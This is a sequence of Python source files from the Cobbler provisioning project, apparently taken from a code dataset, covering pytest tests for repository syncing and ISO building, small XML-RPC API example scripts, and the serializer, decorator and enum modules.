reposync_object: reposync.RepoSync, ): # Arrange test_repo = repo test_repo.breed = enums.RepoBreeds.APT test_repo.arch = input_arch test_repo.apt_components = "main" test_repo.apt_dists = "stable" test_repo.mirror = input_mirror test_repo.mirror_type = input_mirror_type test_repo.rpm_list = input_rpm_list test_settings = cobbler_api.settings() repo_path = os.path.join(test_settings.webdir, "repo_mirror", test_repo.name) mocked_subprocess = mocker.patch( "cobbler.utils.subprocess_call", autospec=True, return_value=0 ) mocker.patch("os.path.exists", return_value=True) # Act with expected_exception: reposync_object.apt_sync(repo) # Assert mocked_subprocess.assert_called_with( [ "/usr/bin/debmirror", "--nocleanup", "--method=http", "--host=ftp.debian.org", "--root=/debian", "--dist=stable", "--section=main", repo_path, "--nosource", "-a=amd64", ], shell=False, ) @pytest.mark.usefixtures("remove_repo") @pytest.mark.parametrize( "input_mirror_type,input_mirror,expected_exception", [ ( enums.MirrorType.BASEURL, "http://download.fedoraproject.org/pub/fedora/linux/development/rawhide/Everything/x86_64/os/Packages/2", does_not_raise(), ), ( enums.MirrorType.MIRRORLIST, "http://download.fedoraproject.org/pub/fedora/linux/development/rawhide/Everything/x86_64/os/Packages/2", pytest.raises(cexceptions.CX), ), ( enums.MirrorType.METALINK, "http://download.fedoraproject.org/pub/fedora/linux/development/rawhide/Everything/x86_64/os/Packages/2", pytest.raises(cexceptions.CX), ), ], ) def test_reposync_wget( mocker: "MockerFixture", input_mirror_type: enums.MirrorType, input_mirror: str, expected_exception: Any, cobbler_api: CobblerAPI, repo: Repo, reposync_object: reposync.RepoSync, ): # Arrange test_repo = repo test_repo.breed = enums.RepoBreeds.WGET test_repo.mirror = input_mirror test_repo.mirror_type = input_mirror_type repo_path = os.path.join( reposync_object.settings.webdir, "repo_mirror", test_repo.name ) mocked_subprocess = mocker.patch( "cobbler.utils.subprocess_call", autospec=True, return_value=0 ) mocker.patch("cobbler.actions.reposync.repo_walker") mocker.patch.object(reposync_object, "create_local_file") # Act with expected_exception: reposync_object.wget_sync(test_repo) # Assert mocked_subprocess.assert_called_with( [ "wget", "-N", "-np", "-r", "-l", "inf", "-nd", "-P", repo_path, input_mirror, ], shell=False, ) def test_reposync_rhn( mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo ): # Arrange repo.mirror = "rhn://%s" % repo.name mocked_subprocess = mocker.patch( "cobbler.utils.subprocess_call", autospec=True, return_value=0 ) mocker.patch("os.path.isdir", return_value=True) mocker.patch("os.makedirs") mocker.patch("cobbler.actions.reposync.repo_walker") mocker.patch.object(reposync_object, "create_local_file") mocker.patch.object( reposync_object, "reposync_cmd", return_value=["/my/fake/reposync"] ) # Act reposync_object.rhn_sync(repo) # Assert # TODO: Check this more and document how its actually working mocked_subprocess.assert_called_with( [ "/my/fake/reposync", "--testflag", "--repo=testrepo0", "--download-path=/srv/www/cobbler/repo_mirror", ], shell=False, ) def test_reposync_rsync( mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo ): # Arrange mocked_subprocess = mocker.patch("cobbler.utils.subprocess_call", return_value=0) mocker.patch("cobbler.actions.reposync.repo_walker") mocker.patch.object(reposync_object, "create_local_file") repo_path = os.path.join(reposync_object.settings.webdir, "repo_mirror", repo.name) # Act reposync_object.rsync_sync(repo) # Assert mocked_subprocess.assert_called_with( [ "rsync", "--testflag", "--delete-after", "-e ssh", "--delete", "--exclude-from=/etc/cobbler/rsync.exclude", "/", repo_path, ], shell=False, ) def test_createrepo_walker( mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo ): # Arrange input_repo = repo input_repo.breed = enums.RepoBreeds.RSYNC input_dirname = "" input_fnames = [] expected_call = ["createrepo", "--testflags", f"'{input_dirname}'"] mocked_subprocess = mocker.patch( "cobbler.utils.subprocess_call", autospec=True, return_value=0 ) mocker.patch( "cobbler.utils.blender", autospec=True, return_value={"createrepo_flags": "--testflags"}, ) mocker.patch("cobbler.utils.remove_yum_olddata") mocker.patch("cobbler.utils.subprocess_get", return_value="5") mocker.patch("cobbler.utils.get_family", return_value="TODO") mocker.patch("os.path.exists", return_value=True) mocker.patch("os.path.isfile", return_value=True) mocker.patch.object(reposync_object, "librepo_getinfo", return_value={}) # Act reposync_object.createrepo_walker(input_repo, input_dirname, input_fnames) # Assert # TODO: Improve coverage over different cases in method mocked_subprocess.assert_called_with(expected_call, shell=False) @pytest.mark.parametrize( "input_repotype,expected_exception", [ (enums.RepoBreeds.YUM, does_not_raise()), (enums.RepoBreeds.RHN, does_not_raise()), (enums.RepoBreeds.APT, does_not_raise()), (enums.RepoBreeds.RSYNC, does_not_raise()), (enums.RepoBreeds.WGET, does_not_raise()), (enums.RepoBreeds.NONE, pytest.raises(cexceptions.CX)), ], ) def test_sync( mocker: "MockerFixture", cobbler_api: CobblerAPI, reposync_object: reposync.RepoSync, input_repotype: enums.RepoBreeds, expected_exception: Any, ): # Arrange test_repo = Repo(cobbler_api) test_repo.breed = input_repotype rhn_sync_mock = mocker.patch.object(reposync_object, "rhn_sync") yum_sync_mock = mocker.patch.object(reposync_object, "yum_sync") apt_sync_mock = mocker.patch.object(reposync_object, "apt_sync") rsync_sync_mock = mocker.patch.object(reposync_object, "rsync_sync") wget_sync_mock = mocker.patch.object(reposync_object, "wget_sync") # Act with expected_exception: reposync_object.sync(test_repo) # Assert call_count = sum( ( rhn_sync_mock.call_count, yum_sync_mock.call_count, apt_sync_mock.call_count, rsync_sync_mock.call_count, wget_sync_mock.call_count, ) ) assert call_count == 1 def test_librepo_getinfo( mocker: "MockerFixture", reposync_object: reposync.RepoSync, tmp_path: Path ): # Arrange handle_mock = mocker.MagicMock() result_mock = mocker.MagicMock() mocker.patch("librepo.Handle", return_value=handle_mock) mocker.patch("librepo.Result", return_value=result_mock) # Act reposync_object.librepo_getinfo(str(tmp_path)) # Assert handle_mock.perform.assert_called_with(result_mock) result_mock.getinfo.assert_called() def test_create_local_file( mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo ): # Arrange mocker.patch("cobbler.utils.filesystem_helpers.mkdir", autospec=True) mock_open = mocker.patch("builtins.open", mocker.mock_open()) input_dest_path = "" input_repo = repo input_output = True # Act reposync_object.create_local_file(input_dest_path, input_repo, output=input_output) # Assert # TODO: Extend checks assert mock_open.call_count == 1 assert mock_open.mock_calls[0] == mocker.call("config.repo", "w", encoding="UTF-8") mock_open_handle = mock_open() assert mock_open_handle.write.mock_calls[0] == mocker.call("[testrepo0]\n") assert mock_open_handle.write.mock_calls[1] == mocker.call("name=testrepo0\n") def test_update_permissions( mocker: "MockerFixture", reposync_object: reposync.RepoSync ): # Arrange mocked_subprocess = mocker.patch( "cobbler.utils.subprocess_call", autospec=True, return_value=0 ) path_to_update = "/my/fake/path" expected_calls = [ mocker.call(["chown", "-R", "root:www", path_to_update], shell=False), mocker.call(["chmod", "-R", "755", path_to_update], shell=False), ] # Act reposync_object.update_permissions(path_to_update) # Assert assert mocked_subprocess.mock_calls == expected_calls
18,420
Python
.py
522
28.153257
117
0.638434
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,066
conftest.py
cobbler_cobbler/tests/actions/buildiso/conftest.py
""" Shared fixture module for buildiso tests. """ import pytest from cobbler.actions import mkloaders from cobbler.api import CobblerAPI @pytest.fixture(scope="function", autouse=True) def create_loaders(cobbler_api: CobblerAPI): """ Fixture to create bootloaders on disk for buildiso tests. """ loaders = mkloaders.MkLoaders(cobbler_api) loaders.run()
377
Python
.py
13
26.153846
61
0.766667
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,067
buildiso_test.py
cobbler_cobbler/tests/actions/buildiso/buildiso_test.py
""" Tests that validate the functionality of the module that is responsible for building bootable ISOs. """ import os from typing import Any, Callable, Dict import pytest from cobbler import enums from cobbler.actions import buildiso from cobbler.actions.buildiso import LoaderCfgsParts from cobbler.actions.buildiso.netboot import NetbootBuildiso from cobbler.actions.buildiso.standalone import StandaloneBuildiso from cobbler.api import CobblerAPI from cobbler.items.distro import Distro from cobbler.items.image import Image from cobbler.items.profile import Profile from cobbler.items.system import System from tests.conftest import does_not_raise @pytest.mark.parametrize( "input_arch,result_binary_name,expected_exception", [ (enums.Archs.X86_64, "grubx64.efi", does_not_raise()), (enums.Archs.PPC, "grub.ppc64le", does_not_raise()), (enums.Archs.PPC64, "grub.ppc64le", does_not_raise()), (enums.Archs.PPC64EL, "grub.ppc64le", does_not_raise()), (enums.Archs.PPC64LE, "grub.ppc64le", does_not_raise()), (enums.Archs.AARCH64, "grubaa64.efi", does_not_raise()), (enums.Archs.ARM, "bootarm.efi", does_not_raise()), (enums.Archs.I386, "bootia32.efi", does_not_raise()), (enums.Archs.IA64, "bootia64.efi", does_not_raise()), ], ) def test_calculate_grub_name( input_arch: enums.Archs, result_binary_name: str, expected_exception: Any, cobbler_api: CobblerAPI, ): # Arrange test_builder = buildiso.BuildIso(cobbler_api) # Act with expected_exception: result = test_builder.calculate_grub_name(input_arch) # Assert assert result == result_binary_name @pytest.mark.parametrize( "input_kopts_dict,exepcted_output", [ ({}, ""), ({"test": 1}, " test=1"), ({"test": None}, " test"), ({"test": '"test"'}, ' test="test"'), ({"test": "test test test"}, ' test="test test test"'), ({"test": 'test "test" test'}, ' test="test "test" test"'), ({"test": ['"test"']}, ' test="test"'), ({"test": ['"test"', "test"]}, ' test="test" test=test'), ], ) def test_add_remaining_kopts(input_kopts_dict: Dict[str, Any], exepcted_output: str): # Arrange (missing) # Act output = buildiso.add_remaining_kopts(input_kopts_dict) # Assert assert output == exepcted_output def test_make_shorter(cobbler_api: CobblerAPI): # Arrange build_iso = NetbootBuildiso(cobbler_api) distroname = "Testdistro" # Act result = build_iso.make_shorter(distroname) # Assert assert type(result) == str assert distroname in build_iso.distmap assert result == "1" def test_copy_boot_files( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], tmpdir: Any ): # Arrange target_folder: str = tmpdir.mkdir("target") build_iso = buildiso.BuildIso(cobbler_api) testdistro = create_distro() # Act build_iso._copy_boot_files(testdistro.kernel, testdistro.initrd, target_folder) # type: ignore[reportPrivateUsage] # Assert assert len(os.listdir(target_folder)) == 2 def test_netboot_generate_boot_loader_configs( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], create_system: Callable[[str], System], ): test_distro = create_distro() test_distro.kernel_options = "test_distro_option=distro" # type: ignore test_profile = create_profile(test_distro.name) test_profile.kernel_options = "test_profile_option=profile" # type: ignore test_system = create_system(test_profile.name) test_system.kernel_options = "test_system_option=system" # type: ignore build_iso = NetbootBuildiso(cobbler_api) # Act result = build_iso._generate_boot_loader_configs( # type: ignore[reportPrivateUsage] [test_profile.name], [test_system.name], True ) matching_isolinux_kernel = [ part for part in result.isolinux if "KERNEL /1.krn" in part ] matching_isolinux_initrd = [ part for part in result.isolinux if "initrd=/1.img" in part ] matching_grub_kernel = [part for part in result.grub if "linux /1.krn" in part] matching_grub_initrd = [part for part in result.grub if "initrd /1.img" in part] matching_grub_distro_kopts = [ part for part in result.grub if "test_distro_option=distro" in part ] matching_grub_profile_kopts = [ part for part in result.grub if "test_profile_option=profile" in part ] matching_grub_system_kopts = [ part for part in result.grub if "test_system_option=system" in part ] matching_isolinux_distro_kopts = [ part for part in result.isolinux if "test_distro_option=distro" in part ] matching_isolinux_profile_kopts = [ part for part in result.isolinux if "test_profile_option=profile" in part ] matching_isolinux_system_kopts = [ part for part in result.isolinux if "test_system_option=system" in part ] # Assert assert isinstance(result, LoaderCfgsParts) for iterable_to_check in [ matching_isolinux_kernel, matching_isolinux_initrd, matching_grub_kernel, matching_grub_initrd, result.bootfiles_copysets, matching_grub_distro_kopts, matching_grub_profile_kopts, matching_isolinux_distro_kopts, matching_isolinux_profile_kopts, ]: print(iterable_to_check) # one entry for the profile, one for the system assert len(iterable_to_check) == 2 # only system entries have system kernel opts assert len(matching_grub_system_kopts) == 1 assert len(matching_isolinux_system_kopts) == 1 def test_filter_system( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], create_system: Any, create_image: Callable[[], Image], ): test_distro = create_distro() test_profile = create_profile(test_distro.name) test_system_profile = create_system(profile_name=test_profile.name) test_image = create_image() test_system_image: System = create_system( image_name=test_image.name, name="test_filter_system_image_image" ) itemlist = [test_system_profile.name, test_system_image.name] build_iso = NetbootBuildiso(cobbler_api) expected_result = [test_system_profile] # Act result = build_iso.filter_systems(itemlist) # Assert assert expected_result == result def test_filter_profile( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], ): # Arrange test_distro = create_distro() test_profile = create_profile(test_distro.name) itemlist = [test_profile.name] build_iso = buildiso.BuildIso(cobbler_api) expected_result = [test_profile] # Act result = build_iso.filter_profiles(itemlist) # Assert assert expected_result == result def test_netboot_run( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], tmpdir: Any, ): # Arrange test_distro = create_distro() build_iso = NetbootBuildiso(cobbler_api) iso_location = tmpdir.join("autoinst.iso") # Act build_iso.run(iso=str(iso_location), distro_name=test_distro.name) # Assert assert iso_location.exists() def test_standalone_run( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], tmpdir_factory: pytest.TempPathFactory, ): # Arrange iso_directory = tmpdir_factory.mktemp("isodir") iso_source = tmpdir_factory.mktemp("isosource") iso_location: Any = iso_directory.join("autoinst.iso") # type: ignore test_distro = create_distro() build_iso = StandaloneBuildiso(cobbler_api) # Act build_iso.run( iso=str(iso_location), distro_name=test_distro.name, source=str(iso_source) ) # Assert assert iso_location.exists()
7,983
Python
.py
212
32.353774
119
0.685552
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,068
append_line_test.py
cobbler_cobbler/tests/actions/buildiso/append_line_test.py
""" TODO """ from typing import Callable import pytest from cobbler import utils from cobbler.actions.buildiso.netboot import AppendLineBuilder from cobbler.api import CobblerAPI from cobbler.items.distro import Distro from cobbler.items.profile import Profile from cobbler.items.system import System def test_init(): """ TODO """ assert isinstance(AppendLineBuilder("", {}), AppendLineBuilder) def test_generate_system( request: "pytest.FixtureRequest", cobbler_api: "CobblerAPI", create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], create_system: Callable[[str, str, str], System], ): """ TODO """ # Arrange test_distro = create_distro() test_distro.breed = "suse" cobbler_api.add_distro(test_distro) test_profile = create_profile(test_distro.name) test_system = create_system(profile_name=test_profile.name) # type: ignore blendered_data = utils.blender(cobbler_api, False, test_system) # type: ignore test_builder = AppendLineBuilder(test_distro.name, blendered_data) originalname = request.node.originalname or request.node.name # type: ignore # Act result = test_builder.generate_system(test_distro, test_system, False) # type: ignore # Assert # Very basic test yes but this is the expected result atm # TODO: Make tests more sophisticated assert ( result == " APPEND initrd=/%s.img install=http://192.168.1.1:80/cblr/links/%s autoyast=default.ks" % (originalname, originalname) ) def test_generate_system_redhat( cobbler_api: "CobblerAPI", create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], create_system: Callable[[str, str, str], System], ): """ TODO """ # Arrange test_distro = create_distro() test_distro.breed = "redhat" cobbler_api.add_distro(test_distro) test_profile = create_profile(test_distro.name) test_system = create_system(profile_name=test_profile.name) # type: ignore blendered_data = utils.blender(cobbler_api, False, test_system) # type: ignore test_builder = AppendLineBuilder(test_distro.name, blendered_data) # Act result = test_builder.generate_system(test_distro, test_system, False) # type: ignore # Assert # Very basic test yes but this is the expected result atm # TODO: Make tests more sophisticated assert result == f" APPEND initrd=/{test_distro.name}.img inst.ks=default.ks" def test_generate_profile( request: "pytest.FixtureRequest", cobbler_api: "CobblerAPI", create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], ): """ TODO """ # Arrange test_distro = create_distro() test_profile = create_profile(test_distro.name) blendered_data = utils.blender(cobbler_api, False, test_profile) test_builder = AppendLineBuilder(test_distro.name, blendered_data) originalname = request.node.originalname or request.node.name # type: ignore # Act result = test_builder.generate_profile("suse", "opensuse15generic") # Assert # Very basic test yes but this is the expected result atm # TODO: Make tests more sophisticated assert ( result == " append initrd=/%s.img install=http://192.168.1.1:80/cblr/links/%s autoyast=default.ks" % (originalname, originalname) ) def test_generate_profile_install( request: "pytest.FixtureRequest", cobbler_api: "CobblerAPI", create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], ): """ TODO """ # Arrange test_distro = create_distro() originalname = request.node.originalname or request.node.name # type: ignore test_distro.kernel_options = ( "install=http://192.168.40.1:80/cblr/links/%s" % originalname # type: ignore ) test_profile = create_profile(test_distro.name) blendered_data = utils.blender(cobbler_api, False, test_profile) test_builder = AppendLineBuilder(test_distro.name, blendered_data) # Act result = test_builder.generate_profile("suse", "opensuse15generic") # Assert # Very basic test yes but this is the expected result atm # TODO: Make tests more sophisticated assert ( result == " append initrd=/%s.img install=http://192.168.40.1:80/cblr/links/%s autoyast=default.ks" % (originalname, originalname) ) def test_generate_profile_rhel7( cobbler_api: "CobblerAPI", create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], ): """ TODO """ # Arrange test_distro = create_distro() test_distro.breed = "redhat" cobbler_api.add_distro(test_distro) test_profile = create_profile(test_distro.name) blendered_data = utils.blender(cobbler_api, False, test_profile) test_builder = AppendLineBuilder(test_distro.name, blendered_data) # Act result = test_builder.generate_profile("redhat", "rhel7") # Assert # Very basic test yes but this is the expected result atm # TODO: Make tests more sophisticated assert result == f" append initrd=/{test_distro.name}.img inst.ks=default.ks" def test_generate_profile_rhel6( cobbler_api: "CobblerAPI", create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], ): """ TODO """ # Arrange test_distro = create_distro() test_distro.breed = "redhat" cobbler_api.add_distro(test_distro) test_profile = create_profile(test_distro.name) blendered_data = utils.blender(cobbler_api, False, test_profile) test_builder = AppendLineBuilder(test_distro.name, blendered_data) # Act result = test_builder.generate_profile("redhat", "rhel6") # Assert # Very basic test yes but this is the expected result atm # TODO: Make tests more sophisticated assert result == f" append initrd=/{test_distro.name}.img ks=default.ks"
5,994
Python
.py
163
31.932515
100
0.695742
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,069
read_snippet.py
cobbler_cobbler/contrib/api-examples/read_snippet.py
#!/usr/bin/python3 import optparse from xmlrpc.client import ServerProxy p = optparse.OptionParser() p.add_option("-u", "--user", dest="user", default="test") p.add_option("-p", "--pass", dest="password", default="test") sp = ServerProxy("http://127.0.0.1/cobbler_api") (options, args) = p.parse_args() token = sp.login(options.user, options.password) sp.read_autoinstall_snippet("some-snippet", token)
407
Python
.py
10
39.3
61
0.725191
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,070
remove_snippet.py
cobbler_cobbler/contrib/api-examples/remove_snippet.py
#!/usr/bin/python3 import optparse from xmlrpc.client import ServerProxy p = optparse.OptionParser() p.add_option("-u", "--user", dest="user", default="test") p.add_option("-p", "--pass", dest="password", default="test") sp = ServerProxy("http://127.0.0.1/cobbler_api") (options, args) = p.parse_args() token = sp.login(options.user, options.password) sp.remove_autoinstall_snippet("some-snippet", token)
409
Python
.py
10
39.5
61
0.726582
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,071
demo_connect.py
cobbler_cobbler/contrib/api-examples/demo_connect.py
#!/usr/bin/python3 """ Copyright 2007-2009, Red Hat, Inc and Others Michael DeHaan <michael.dehaan AT gmail> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA """ import optparse from xmlrpc.client import ServerProxy if __name__ == "__main__": p = optparse.OptionParser() p.add_option("-u", "--user", dest="user", default="test") p.add_option("-p", "--pass", dest="password", default="test") # NOTE: if you've changed your xmlrpc_rw port or # disabled xmlrpc_rw this test probably won't work sp = ServerProxy("http://127.0.0.1:25151") (options, args) = p.parse_args() print("- trying to login with user=%s" % options.user) token = sp.login(options.user, options.password) print("- token: %s" % token) print("- authenticated ok, now seeing if user is authorized") check = sp.check_access(token, "imaginary_method_name") print("- access ok? %s" % check)
1,540
Python
.py
33
43.848485
68
0.733155
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,072
API_test.py
cobbler_cobbler/contrib/api-examples/API_test.py
#!/usr/bin/python3 import xmlrpc.client server = xmlrpc.client.Server("http://127.0.0.1/cobbler_api") print(server.get_distros()) print(server.get_profiles()) print(server.get_systems()) print(server.get_images()) print(server.get_repos())
242
Python
.py
8
29
61
0.767241
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,073
create_snippet.py
cobbler_cobbler/contrib/api-examples/create_snippet.py
#!/usr/bin/python3 import optparse from xmlrpc.client import ServerProxy p = optparse.OptionParser() p.add_option("-u", "--user", dest="user", default="test") p.add_option("-p", "--pass", dest="password", default="test") sp = ServerProxy("http://127.0.0.1/cobbler_api") (options, args) = p.parse_args() token = sp.login(options.user, options.password) sp.write_autoinstall_snippet("some-snippet", "some content\n", token)
426
Python
.py
10
41.2
69
0.723301
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,074
serializer.py
cobbler_cobbler/cobbler/serializer.py
""" Serializer code for Cobbler """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import fcntl import logging import os import pathlib import sys import time from types import ModuleType from typing import TYPE_CHECKING, Any, Dict, Optional, TextIO if TYPE_CHECKING: from cobbler.api import CobblerAPI from cobbler.cobbler_collections.collection import ITEM, Collection class Serializer: """ Serializer interface that is used to access data in Cobbler independent of the actual data source. """ def __init__(self, api: "CobblerAPI"): """ Constructor that created the state for the object. :param api: The CobblerAPI that is used for accessing shared functionality. """ self.api = api self.logger = logging.getLogger() self.lock_enabled = True self.lock_handle: Optional[TextIO] = None self.lock_file_location = "/var/lib/cobbler/lock" self.storage_module = self.__get_storage_module() self.storage_object = self.storage_module.storage_factory(api) def __grab_lock(self) -> None: """ Dual purpose locking: (A) flock to avoid multiple process access (B) block signal handler to avoid ctrl+c while writing YAML """ try: if self.lock_enabled: if not os.path.exists(self.lock_file_location): pathlib.Path(self.lock_file_location).touch() self.lock_handle = open(self.lock_file_location, "r", encoding="UTF-8") fcntl.flock(self.lock_handle.fileno(), fcntl.LOCK_EX) except Exception as exception: # this is pretty much FATAL, avoid corruption and quit now. self.logger.exception("File locking error.", exc_info=exception) sys.exit(7) def __release_lock(self, with_changes: bool = False) -> None: """ Releases the lock on the resource that is currently being written. :param with_changes: If this is true the global modification time is being updated. Default is false. """ if with_changes: # this file is used to know the time of last modification on cobbler_collections # was made -- allowing the API to work more smoothly without # a lot of unnecessary reloads. with open(self.api.mtime_location, "w", encoding="UTF-8") as mtime_fd: mtime_fd.write(f"{time.time():f}") if self.lock_enabled: self.lock_handle = open(self.lock_file_location, "r", encoding="UTF-8") fcntl.flock(self.lock_handle.fileno(), fcntl.LOCK_UN) self.lock_handle.close() def serialize(self, collection: "Collection[ITEM]") -> None: """ Save a collection to disk :param collection: The collection to serialize. """ self.__grab_lock() self.storage_object.serialize(collection) self.__release_lock() def serialize_item(self, collection: "Collection[ITEM]", item: "ITEM") -> None: """ Save a collection item to disk :param collection: The Cobbler collection to know the type of the item. :param item: The collection item to serialize. """ self.__grab_lock() self.storage_object.serialize_item(collection, item) self.__release_lock(with_changes=True) def serialize_delete(self, collection: "Collection[ITEM]", item: "ITEM") -> None: """ Delete a collection item from disk :param collection: The Cobbler collection to know the type of the item. :param item: The collection item to delete. """ self.__grab_lock() self.storage_object.serialize_delete(collection, item) self.__release_lock(with_changes=True) def deserialize( self, collection: "Collection[ITEM]", topological: bool = True ) -> None: """ Load a collection from disk. :param collection: The Cobbler collection to know the type of the item. :param topological: Sort collection based on each items' depth attribute in the list of collection items. This ensures properly ordered object loading from disk with objects having parent/child relationships, i.e. profiles/subprofiles. See cobbler/items/abstract/inheritable_item.py """ self.__grab_lock() self.storage_object.deserialize(collection, topological) self.__release_lock() def deserialize_item(self, collection_type: str, item_name: str) -> Dict[str, Any]: """ Load a collection item from disk. :param collection_type: The collection type to deserialize. :param item_name: The collection item name to deserialize. """ self.__grab_lock() result = self.storage_object.deserialize_item(collection_type, item_name) self.__release_lock() return result def __get_storage_module(self) -> ModuleType: """ Look up configured module in the settings :returns: A Python module. """ return self.api.get_module_from_file( "serializers", self.api.settings() .modules.get("serializers", {}) .get("module", "serializers.file"), "serializers.file", )
5,528
Python
.py
125
35.344
118
0.639829
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,075
decorator.py
cobbler_cobbler/cobbler/decorator.py
""" This module provides decorators that are required for Cobbler to work as expected. """ # The idea for the subclassed property decorators is from: https://stackoverflow.com/a/59313599/4730773 from typing import Any, Optional from cobbler.items.abstract import base_item class LazyProperty(property): """ This property is supposed to provide a way to override the lazy-read value getter. """ def __get__(self, obj: Any, objtype: Optional[type] = None): if obj is None: return self if ( isinstance(obj, base_item.BaseItem) and not obj.inmemory and obj._has_initialized # pyright: ignore [reportPrivateUsage] ): obj.deserialize() if self.fget is None: # This may occur if the functional way of using a property is used. raise ValueError("Property had no getter!") return self.fget(obj) class InheritableProperty(LazyProperty): """ This property is supposed to provide a way to identify properties in code that can be set to inherit. """ inheritable = True class InheritableDictProperty(InheritableProperty): """ This property is supposed to provide a way to identify properties in code that can be set to inherit. """
1,298
Python
.py
32
33.96875
105
0.688446
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,076
enums.py
cobbler_cobbler/cobbler/enums.py
""" This module is responsible for containing all enums we use in Cobbler. It should not be dependent upon any other module except the Python standard library. """ import enum from typing import TypeVar, Union VALUE_INHERITED = "<<inherit>>" VALUE_NONE = "none" CONVERTABLEENUM = TypeVar("CONVERTABLEENUM", bound="ConvertableEnum") class ConvertableEnum(enum.Enum): """ Abstract class to convert the enum via our convert method. """ @classmethod def to_enum(cls, value: Union[str, CONVERTABLEENUM]) -> CONVERTABLEENUM: """ This method converts the chosen str to the corresponding enum type. :param value: str which contains the to be converted value. :returns: The enum value. :raises TypeError: In case value was not of type str. :raises ValueError: In case value was not in the range of valid values. """ # mypy cannot handle the MRO in case we make this a real abstract class # Thus since we use this like an abstract class we will just add the three ignores here since we # are sure that this will be okay. try: if isinstance(value, str): if value == VALUE_INHERITED: try: return cls["INHERITED"] # type: ignore except KeyError as key_error: raise ValueError( "The enum given does not support inheritance!" ) from key_error return cls[value.upper()] # type: ignore if isinstance(value, cls): return value # type: ignore raise TypeError(f"{value} must be a str or Enum") except KeyError: raise ValueError(f"{value} must be one of {list(cls)}") from KeyError class EventStatus(ConvertableEnum): """ This enums describes the status an event can have. The cycle is the following: "Running" --> "Complete" or "Failed" """ RUNNING = "running" """ Shows that an event is currently being processed by the server """ COMPLETE = "complete" """ Shows that an event did complete as desired """ FAILED = "failed" """ Shows that an event did not complete as expected """ INFO = "notification" """ Default Event status """ class ItemTypes(ConvertableEnum): """ This enum represents all valid item types in Cobbler. If a new item type is created it must be added into this enum. Abstract base item types don't have to be added here. """ DISTRO = "distro" """ See :func:`~cobbler.items.distro.Distro` """ PROFILE = "profile" """ See :func:`~cobbler.items.profile.Profile` """ SYSTEM = "system" """ See :func:`~cobbler.items.system.System` """ REPO = "repo" """ See :func:`~cobbler.items.repo.Repo` """ IMAGE = "image" """ See :func:`~cobbler.items.image.Image` """ MENU = "menu" """ See :func:`~cobbler.items.menu.Menu` """ class DHCP(enum.Enum): """ TODO """ V4 = 4 V6 = 6 class ResourceAction(ConvertableEnum): """ This enum represents all actions a resource may execute. """ CREATE = "create" REMOVE = "remove" class NetworkInterfaceType(enum.Enum): """ This enum represents all interface types Cobbler is able to set up on a target host. """ NA = 0 BOND = 1 BOND_SLAVE = 2 BRIDGE = 3 BRIDGE_SLAVE = 4 BONDED_BRIDGE_SLAVE = 5 BMC = 6 INFINIBAND = 7 class RepoBreeds(ConvertableEnum): """ This enum describes all repository breeds Cobbler is able to manage. """ NONE = VALUE_NONE RSYNC = "rsync" RHN = "rhn" YUM = "yum" APT = "apt" WGET = "wget" class RepoArchs(ConvertableEnum): """ This enum describes all repository architectures Cobbler is able to serve in case the content of the repository is serving the same architecture. """ NONE = VALUE_NONE I386 = "i386" X86_64 = "x86_64" IA64 = "ia64" PPC = "ppc" PPC64 = "ppc64" PPC64LE = "ppc64le" PPC64EL = "ppc64el" S390 = "s390" ARM = "arm" AARCH64 = "aarch64" NOARCH = "noarch" SRC = "src" class Archs(ConvertableEnum): """ This enum describes all system architectures which Cobbler is able to provision. """ I386 = "i386" X86_64 = "x86_64" IA64 = "ia64" PPC = "ppc" PPC64 = "ppc64" PPC64LE = "ppc64le" PPC64EL = "ppc64el" S390 = "s390" S390X = "s390x" ARM = "arm" AARCH64 = "aarch64" class VirtType(ConvertableEnum): """ This enum represents all known types of virtualization Cobbler is able to handle via Koan. """ INHERITED = VALUE_INHERITED QEMU = "qemu" KVM = "kvm" 